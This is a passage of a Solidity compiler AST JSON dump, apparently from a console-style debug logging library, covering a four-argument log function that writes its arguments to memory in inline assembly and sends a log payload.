"src":"150289:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38640,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150289:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38642,"nodeType":"VariableDeclarationStatement","src":"150289:10:22"},{"assignments":[38644],"declarations":[{"constant":false,"id":38644,"mutability":"mutable","name":"m4","nameLocation":"150317:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150309:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38645,"nodeType":"VariableDeclarationStatement","src":"150309:10:22"},{"assignments":[38647],"declarations":[{"constant":false,"id":38647,"mutability":"mutable","name":"m5","nameLocation":"150337:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38646,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150329:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38648,"nodeType":"VariableDeclarationStatement","src":"150329:10:22"},{"assignments":[38650],"declarations":[{"constant":false,"id":38650,"mutability":"mutable","name":"m6","nameLocation":"150357:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150349:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38649,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150349:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38651,"nodeType":"VariableDeclarationStatement","src":"150349:10:22"},{"assignments":[38653],"declarations":[{"constant":false,"id":38653,"mutability":"mutable","name":"m7","nameLocation":"150377:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150369:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38654,"nodeType":"VariableDeclarationStatement","src":"150369:10:22"},{"assignments":[38656],"declarations":[{"constant":false,"id":38656,"mutability":"mutable","name":"m8","nameLocation":"150397:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150389:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38655,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150389:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38657,"nodeType":"VariableDeclarationStatement","src":"150389:10:22"},{"AST":{"nativeSrc":"150418:927:22","nodeType":"YulBlock","src":"150418:927:22","statements":[{"body":{"nativeSrc":"150461:313:22","nodeType":"YulBlock","src":"150461:313:22","statements":[{"nativeSrc":"150479:15:22","nodeType":"YulVariableDeclaration","src":"150479:15:22","value":{"kind":"number","nativeSrc":"150493:1:22","nodeType":"YulLiteral","src":"150493:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"150483:6:22","nodeType":"YulTypedName","src":"150483:6:22","type":""}]},{"body":{"nativeSrc":"150564:40:22","nodeType":"YulBlock","src":"150564:40:22","statements":[{"body":{"nativeSrc":"150593:9:22","nodeType":"YulBlock","src":"150593:9:22","statements":[{"nativeSrc":"150595:5:22","nodeType":"YulBreak","src":"150595:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"150581:6:22","nodeType":"YulIdentifier","src":"150581:6:22"},{"name":"w","nativeSrc":"150589:1:22","nodeType":"YulIdentifier","src":"150589:1:22"}],"functionName":{"name":"byte","nativeSrc":"150576:4:22","nodeType":"YulIdentifier","src":"150576:4:22"},"nativeSrc":"150576:15:22","nodeType":"YulFunctionCall","src":"150576:15:22"}],"functionName":{"name":"iszero","nativeSrc":"150569:6:22","nodeType":"YulIdentifier","src":"150569:6:22"},"nativeSrc":"150569:23:22","nodeType":"YulFunctionCall","src":"150569:23:22"},"nativeSrc":"150566:36:22","nodeType":"YulIf","src":"150566:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"150521:6:22","nodeType":"YulIdentifier","src":"150521:6:22"},{"kind":"number","nativeSrc":"150529:4:22","nodeType":"YulLiteral","src":"150529:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"150518:2:22","nodeType":"YulIdentifier","src":"150518:2:22"},"nativeSrc":"150518:16:22","nodeType":"YulFunctionCall","src":"150518:16:22"},"nativeSrc":"150511:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"150535:28:22","nodeType":"YulBlock","src":"150535:28:22","statements":[{"nativeSrc":"150537:24:22","nodeType":"YulAssignment","src":"150537:24:22","value":{"arguments":[{"name":"length","nativeSrc":"150551:6:22","nodeType":"YulIdentifier","src":"150551:6:22"},{"kind":"number","nativeSrc":"150559:1:22","nodeType":"YulLiteral","src":"150559:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"150547:3:22","nodeType":"YulIdentifier","src":"150547:3:22"},"nativeSrc":"150547:14:22","nodeType":"YulFunctionCall","src":"150547:14:22"},"variableNames":[{"name":"length","nativeSrc":"150537:6:22","nodeType":"YulIdentifier","src":"150537:6:22"}]}]},"pre":{"nativeSrc":"150515:2:22","nodeType":"YulBlock","src":"150515:2:22","statements":[]},"src":"150511:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"150628:3:22","nodeType":"YulIdentifier","src":"150628:3:22"},{"name":"length","nativeSrc":"150633:6:22","nodeType":"YulIdentifier","src":"150633:6:22"}],"functionName":{"name":"mstore","nativeSrc":"150621:6:22","nodeType":"YulIdentifier","src":"150621:6:22"},"nativeSrc":"150621:19:22","nodeType":"YulFunctionCall","src":"150621:19:22"},"nativeSrc":"150621:19:22","nodeType":"YulExpressionStatement","src":"150621:19:22"},{"nativeSrc":"150657:37:22","nodeType":"YulVariableDeclaration","src":"150657:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"150674:3:22","nodeType":"YulLiteral","src":"150674:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"150683:1:22","nodeType":"YulLiteral","src":"150683:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"150686:6:22","nodeType":"YulIdentifier","src":"150686:6:22"}],"functionName":{"name":"shl","nativeSrc":"150679:3:22","nodeType":"YulIdentifier","src":"150679:3:22"},"nativeSrc":"150679:14:22","nodeType":"YulFunctionCall","src":"150679:14:22"}],"functionName":{"name":"sub","nativeSrc":"150670:3:22","nodeType":"YulIdentifier","src":"150670:3:22"},"nativeSrc":"150670:24:22","nodeType":"YulFunctionCall","src":"150670:24:22"},"variables":[{"name":"shift","nativeSrc":"150661:5:22","nodeType":"YulTypedName","src":"150661:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"150722:3:22","nodeType":"YulIdentifier","src":"150722:3:22"},{"kind":"number","nativeSrc":"150727:4:22","nodeType":"YulLiteral","src":"150727:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"150718:3:22","nodeType":"YulIdentifier","src":"150718:3:22"},"nativeSrc":"150718:14:22","nodeType":"YulFunctionCall","src":"150718:14:22"},{"arguments":[{"name":"shift","nativeSrc":"150738:5:22","nodeType":"YulIdentifier","src":"150738:5:22"},{"arguments":[{"name":"shift","nativeSrc":"150749:5:22","nodeType":"YulIdentifier","src":"150749:5:22"},{"name":"w","nativeSrc":"150756:1:22","nodeType":"YulIdentifier","src":"150756:1:22"}],"functionName":{"name":"shr","nativeSrc":"150745:3:22","nodeType":"YulIdentifier","src":"150745:3:22"},"nativeSrc":"150745:13:22","nodeType":"YulFunctionCall","src":"150745:13:22"}],"functionName":{"name":"shl","nativeSrc":"150734:3:22","nodeType":"YulIdentifier","src":"150734:3:22"},"nativeSrc":"150734:25:22","nodeType":"YulFunctionCall","src":"150734:25:22"}],"functionName":{"name":"mstore","nativeSrc":"150711:6:22","nodeType":"YulIdentifier","src":"150711:6:22"},"nativeSrc":"150711:49:22","nodeType":"YulFunctionCall","src":"150711:49:22"},"nativeSrc":"150711:49:22","nodeType":"YulExpressionStatement","src":"150711:49:22"}]},"name":"writeString","nativeSrc":"150432:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"150453:3:22","nodeType":"YulTypedName","src":"150453:3:22","type":""},{"name":"w","nativeSrc":"150458:1:22","nodeType":"YulTypedName","src":"150458:1:22","type":""}],"src":"150432:342:22"},{"nativeSrc":"150787:17:22","nodeType":"YulAssignment","src":"150787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150799:4:22","nodeType":"YulLiteral","src":"150799:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"150793:5:22","nodeType":"YulIdentifier","src":"150793:5:22"},"nativeSrc":"150793:11:22","nodeType":"YulFunctionCall","src":"150793:11:22"},"variableNames":[{"name":"m0","nativeSrc":"150787:2:22","nodeType":"YulIdentifier","src":"150787:2:22"}]},{"nativeSrc":"150817:17:22","nodeType":"YulAssignment","src":"150817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150829:4:22","nodeType":"YulLiteral","src":"150829:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"150823:5:22","nodeType":"YulIdentifier","src":"150823:5:22"},"nativeSrc":"150823:11:22","nodeType":"YulFunctionCall","src":"150823:11:22"},"variableNames":[{"name":"m1","nativeSrc":"150817:2:22","nodeType":"YulIdentifier","src":"150817:2:22"}]},{"nativeSrc":"150847:17:22","nodeType":"YulAssignment","src":"150847:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150859:4:22","nodeType":"YulLiteral","src":"150859:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"150853:5:22","nodeType":"YulIdentifier","src":"150853:5:22"},"nativeSrc":"150853:11:22","nodeType":"YulFunctionCall","src":"150853:11:22"},"variableNames":[{"name":"m2","nativeSrc":"150847:2:22","nodeType":"YulIdentifier","src":"150847:2:22"}]},{"nativeSrc":"150877:17:22","nodeType":"YulAssignment","src":"150877:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150889:4:22","nodeType":"YulLiteral","src":"150889:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"150883:5:22","nodeType":"YulIdentifier","src":"150883:5:22"},"nativeSrc":"150883:11:22","nodeType":"YulFunctionCall","src":"150883:11:22"},"variableNames":[{"name":"m3","nativeSrc":"150877:2:22","nodeType":"YulIdentifier","src":"150877:2:22"}]},{"nativeSrc":"150907:17:22","nodeType":"YulAssignment","src":"150907:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150919:4:22","nodeType":"YulLiteral","src":"150919:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"150913:5:22","nodeType":"YulIdentifier","src":"150913:5:22"},"nativeSrc":"150913:11:22","nodeType":"YulFunctionCall","src":"150913:11:22"},"variableNames":[{"name":"m4","nativeSrc":"150907:2:22","nodeType":"YulIdentifier","src":"150907:2:22"}]},{"nativeSrc":"150937:17:22","nodeType":"YulAssignment","src":"150937:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150949:4:22","nodeType":"YulLiteral","src":"150949:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"150943:5:22","nodeType":"YulIdentifier","src":"150943:5:22"},"nativeSrc":"150943:11:22","nodeType":"YulFunctionCall","src":"150943:11:22"},"variableNames":[{"name":"m5","nativeSrc":"150937:2:22","nodeType":"YulIdentifier","src":"150937:2:22"}]},{"nativeSrc":"150967:17:22","nodeType":"YulAssignment","src":"150967:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"150979:4:22","nodeType":"YulLiteral","src":"150979:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"150973:5:22","nodeType":"YulIdentifier","src":"150973:5:22"},"nativeSrc":"150973:11:22","nodeType":"YulFunctionCall","src":"150973:11:22"},"variableNames":[{"name":"m6","nativeSrc":"150967:2:22","nodeType":"YulIdentifier","src":"150967:2:22"}]},{"nativeSrc":"150997:17:22","nodeType":"YulAssignment","src":"150997:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"151009:4:22","nodeType":"YulLiteral","src":"151009:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"151003:5:22","nodeType":"YulIdentifier","src":"151003:5:22"},"nativeSrc":"151003:11:22","nodeType":"YulFunctionCall","src":"151003:11:22"},"variableNames":[{"name":"m7","nativeSrc":"150997:2:22","nodeType":"YulIdentifier","src":"150997:2:22"}]},{"nativeSrc":"151027:18:22","nodeType":"YulAssignment","src":"151027:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"151039:5:22","nodeType":"YulLiteral","src":"151039:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"151033:5:22","nodeType":"YulIdentifier","src":"151033:5:22"},"nativeSrc":"151033:12:22","nodeType":"YulFunctionCall","src":"151033:12:22"},"variableNames":[{"name":"m8","nativeSrc":"151027:2:22","nodeType":"YulIdentifier","src":"151027:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151130:4:22","nodeType":"YulLiteral","src":"151130:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"151136:10:22","nodeType":"YulLiteral","src":"151136:10:22","type":"","value":"0xa04e2f87"}],"functionName":{"name":"mstore","nativeSrc":"151123:6:22","nodeType":"YulIdentifier","src":"151123:6:22"},"nativeSrc":"151123:24:22","nodeType":"YulFunctionCall","src":"151123:24:22"},"nativeSrc":"151123:24:22","nodeType":"YulExpressionStatement","src":"151123:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151167:4:22","nodeType":"YulLiteral","src":"151167:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"151173:2:22","nodeType":"YulIdentifier","src":"151173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151160:6:22","nodeType":"YulIdentifier","src":"151160:6:22"},"nativeSrc":"151160:16:22","nodeType":"YulFunctionCall","src":"151160:16:22"},"nativeSrc":"151160:16:22","nodeType":"YulExpressionStatement","src":"151160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151196:4:22","nodeType":"YulLiteral","src":"151196:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"151202:4:22","nodeType":"YulLiteral","src":"151202:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"151189:6:22","nodeType":"YulIdentifier","src":"151189:6:22"},"nativeSrc":"151189:18:22","nodeType":"YulFunctionCall","src":"151189:18:22"},"nativeSrc":"151189:18:22","nodeType":"YulExpressionStatement","src":"151189:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151227:4:22","nodeType":"YulLiteral","src":"151227:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"151233:4:22","nodeType":"YulLiteral","src":"151233:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"151220:6:22","nodeType":"YulIdentifier","src":"151220:6:22"},"nativeSrc":"151220:18:22","nodeType":"YulFunctionCall","src":"151220:18:22"},"nativeSrc":"151220:18:22","nodeType":"YulExpressionStatement","src":"151220:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151258:4:22","nodeType":"YulLiteral","src":"151258:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"151264:2:22","nodeType":"YulIdentifier","src":"151264:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151251:6:22","nodeType":"YulIdentifier","src":"151251:6:22"},"nativeSrc":"151251:16:22","nodeType":"YulFunctionCall","src":"151251:16:22"},"nativeSrc":"151251:16:22","nodeType":"YulExpressionStatement","src":"151251:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151292:4:22","nodeType":"YulLiteral","src":"151292:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"151298:2:22","nodeType":"YulIdentifier","src":"151298:2:22"}],"functionName":{"name":"writeString","nativeSrc":"151280:11:22","nodeType":"YulIdentifier","src":"151280:11:22"},"nativeSrc":"151280:21:22","nodeType":"YulFunctionCall","src":"151280:21:22"},"nativeSrc":"151280:21:22","nodeType":"YulExpressionStatement","src":"151280:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151326:4:22","nodeType":"YulLiteral","src":"151326:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"151332:2:22","nodeType":"YulIdentifier","src":"151332:2:22"}],"functionName":{"name":"writeString","nativeSrc":"151314:11:22","nodeType":"YulIdentifier","src":"151314:11:22"},"nativeSrc":"151314:21:22","nodeType":"YulFunctionCall","src":"151314:21:22"},"nativeSrc":"151314:21:22","nodeType":"YulExpressionStatement","src":"151314:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38632,"isOffset":false,"isSlot":false,"src":"150787:2:22","valueSize":1},{"declaration":38635,"isOffset":false,"isSlot":false,"src":"150817:2:22","valueSize":1},{"declaration":38638,"isOffset":false,"isSlot":false,"src":"150847:2:22","valueSize":1},{"declaration":38641,"isOffset":false,"isSlot":false,"src":"150877:2:22","valueSize":1},{"declaration":38644,"isOffset":false,"isSlot":false,"src":"150907:2:22","valueSize":1},{"declaration":38647,"isOffset":false,"isSlot":false,"src":"150937:2:22","valueSize":1},{"declaration":38650,"isOffset":false,"isSlot":false,"src":"150967:2:22","valueSize":1},{"declaration":38653,"isOffset":false,"isSlot":false,"src":"150997:2:22","valueSize":1},{"declaration":38656,"isOffset":false,"isSlot":false,"src":"151027:2:22","valueSize":1},{"declaration":38622,"isOffset":false,"isSlot":false,"src":"151173:2:22","valueSize":1},{"declaration":38624,"isOffset":false,"isSlot":false,"src":"151298:2:22","valueSize":1},{"declaration":38626,"isOffset":false,"isSlot":false,"src":"151332:2:22","valueSize":1},{"declaration":38628,"isOffset":false,"isSlot":false,"src":"151264:2:22","valueSize":1}],"id":38658,"nodeType":"InlineAssembly","src":"150409:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"151370:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38661,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"151376:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38659,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"151354:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"151354:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38663,"nodeType":"ExpressionStatement","src":"151354:28:22"},{"AST":{"nativeSrc":"151401:273:22","nodeType":"YulBlock","src":"151401:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"151422:4:22","nodeType":"YulLiteral","src":"151422:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"151428:2:22","nodeType":"YulIdentifier","src":"151428:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151415:6:22","nodeType":"YulIdentifier","src":"151415:6:22"},"nativeSrc":"151415:16:22","nodeType":"YulFunctionCall","src":"151415:16:22"},"nativeSrc":"151415:16:22","nodeType":"YulExpressionStatement","src":"151415:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151451:4:22","nodeType":"YulLiteral","src":"151451:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"151457:2:22","nodeType":"YulIdentifier","src":"151457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151444:6:22","nodeType":"YulIdentifier","src":"151444:6:22"},"nativeSrc":"151444:16:22","nodeType":"YulFunctionCall","src":"151444:16:22"},"nativeSrc":"151444:16:22","nodeType":"YulExpressionStatement","src":"151444:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151480:4:22","nodeType":"YulLiteral","src":"151480:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"151486:2:22","nodeType":"YulIdentifier","src":"151486:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151473:6:22","nodeType":"YulIdentifier","src":"151473:6:22"},"nativeSrc":"151473:16:22","nodeType":"YulFunctionCall","src":"151473:16:22"},"nativeSrc":"151473:16:22","nodeType":"YulExpressionStatement","src":"151473:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151509:4:22","nodeType":"YulLiteral","src":"151509:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"151515:2:22","nodeType":"YulIdentifier","src":"151515:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151502:6:22","nodeType":"YulIdentifier","src":"151502:6:22"},"nativeSrc":"151502:16:22","nodeType":"YulFunctionCall","src":"151502:16:22"},"nativeSrc":"151502:16:22","nodeType":"YulExpressionStatement","src":"151502:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151538:4:22","nodeType":"YulLiteral","src":"151538:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"151544:2:22","nodeType":"YulIdentifier","src":"151544:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151531:6:22","nodeType":"YulIdentifier","src":"151531:6:22"},"nativeSrc":"151531:16:22","nodeType":"YulFunctionCall","src":"151531:16:22"},"nativeSrc":"151531:16:22","nodeType":"YulExpressionStatement","src":"151531:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151567:4:22","nodeType":"YulLiteral","src":"151567:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"151573:2:22","nodeType":"YulIdentifier","src":"151573:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151560:6:22","nodeType":"YulIdentifier","src":"151560:6:22"},"nativeSrc":"151560:16:22","nodeType":"YulFunctionCall","src":"151560:16:22"},"nativeSrc":"151560:16:22","nodeType":"YulExpressionStatement","src":"151560:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151596:4:22","nodeType":"YulLiteral","src":"151596:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"151602:2:22","nodeType":"YulIdentifier","src":"151602:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151589:6:22","nodeType":"YulIdentifier","src":"151589:6:22"},"nativeSrc":"151589:16:22","nodeType":"YulFunctionCall","src":"151589:16:22"},"nativeSrc":"151589:16:22","nodeType":"YulExpressionStatement","src":"151589:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151625:4:22","nodeType":"YulLiteral","src":"151625:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"151631:2:22","nodeType":"YulIdentifier","src":"151631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151618:6:22","nodeType":"YulIdentifier","src":"151618:6:22"},"nativeSrc":"151618:16:22","nodeType":"YulFunctionCall","src":"151618:16:22"},"nativeSrc":"151618:16:22","nodeType":"YulExpressionStatement","src":"151618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"151654:5:22","nodeType":"YulLiteral","src":"151654:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"151661:2:22","nodeType":"YulIdentifier","src":"151661:2:22"}],"functionName":{"name":"mstore","nativeSrc":"151647:6:22","nodeType":"YulIdentifier","src":"151647:6:22"},"nativeSrc":"151647:17:22","nodeType":"YulFunctionCall","src":"151647:17:22"},"nativeSrc":"151647:17:22","nodeType":"YulExpressionStatement","src":"151647:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38632,"isOffset":false,"isSlot":false,"src":"151428:2:22","valueSize":1},{"declaration":38635,"isOffset":false,"isSlot":false,"src":"151457:2:22","valueSize":1},{"declaration":38638,"isOffset":false,"isSlot":false,"src":"151486:2:22","valueSize":1},{"declaration":38641,"isOffset":false,"isSlot":false,"src":"151515:2:22","valueSize":1},{"declaration":38644,"isOffset":false,"isSlot":false,"src":"151544:2:22","valueSize":1},{"declaration":38647,"isOffset":false,"isSlot":false,"src":"151573:2:22","valueSize":1},{"declaration":38650,"isOffset":false,"isSlot":false,"src":"151602:2:22","valueSize":1},{"declaration":38653,"isOffset":false,"isSlot":false,"src":"151631:2:22","valueSize":1},{"declaration":38656,"isOffset":false,"isSlot":false,"src":"151661:2:22","valueSize":1}],"id":38664,"nodeType":"InlineAssembly","src":"151392:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"150153:3:22","parameters":{"id":38629,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38622,"mutability":"mutable","name":"p0","nameLocation":"150165:2:22","nodeType":"VariableDeclaration","scope":38666,"src":"150157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38621,"name":"address","nodeType":"ElementaryTypeName","src":"150157:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38624,"mutability":"mutable","name":"p1","nameLocation":"150177:2:22","nodeType":"VariableDeclaration","scope":38666,"src":"150169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150169:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38626,"mutability":"mutable","name":"p2","nameLocation":"150189:2:22","nodeType":"VariableDeclaration","scope":38666,"src":"150181:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38625,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150181:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38628,"mutability":"mutable","name":"p3","nameLocation":"150201:2:22","nodeType":"VariableDeclaration","scope":38666,"src":"150193:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38627,"name":"address","nodeType":"ElementaryTypeName","src":"150193:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"150156:48:22"},"returnParameters":{"id":38630,"nodeType":"ParameterList","parameters":[],"src":"150219:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38712,"nodeType":"FunctionDefinition","src":"151686:1530:22","nodes":[],"body":{"id":38711,"nodeType":"Block","src":"151758:1458:22","nodes":[],"statements":[{"assignments":[38678],"declarations":[{"constant":false,"id":38678,"mutability":"mutable","name":"m0","nameLocation":"151776:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151768:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38677,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151768:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38679,"nodeType":"VariableDeclarationStatement","src":"151768:10:22"},{"assignments":[38681],"declarations":[{"constant":false,"id":38681,"mutability":"mutable","name":"m1","nameLocation":"151796:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151788:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38680,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151788:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38682,"nodeType":"VariableDeclarationStatement","src":"151788:10:22"},{"assignments":[38684],"declarations":[{"constant":false,"id":38684,"mutability":"mutable","name":"m2","nameLocation":"151816:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151808:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151808:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38685,"nodeType":"VariableDeclarationStatement","src":"151808:10:22"},{"assignments":[38687],"declarations":[{"constant":false,"id":38687,"mutability":"mutable","name":"m3","nameLocation":"151836:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151828:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151828:7:22"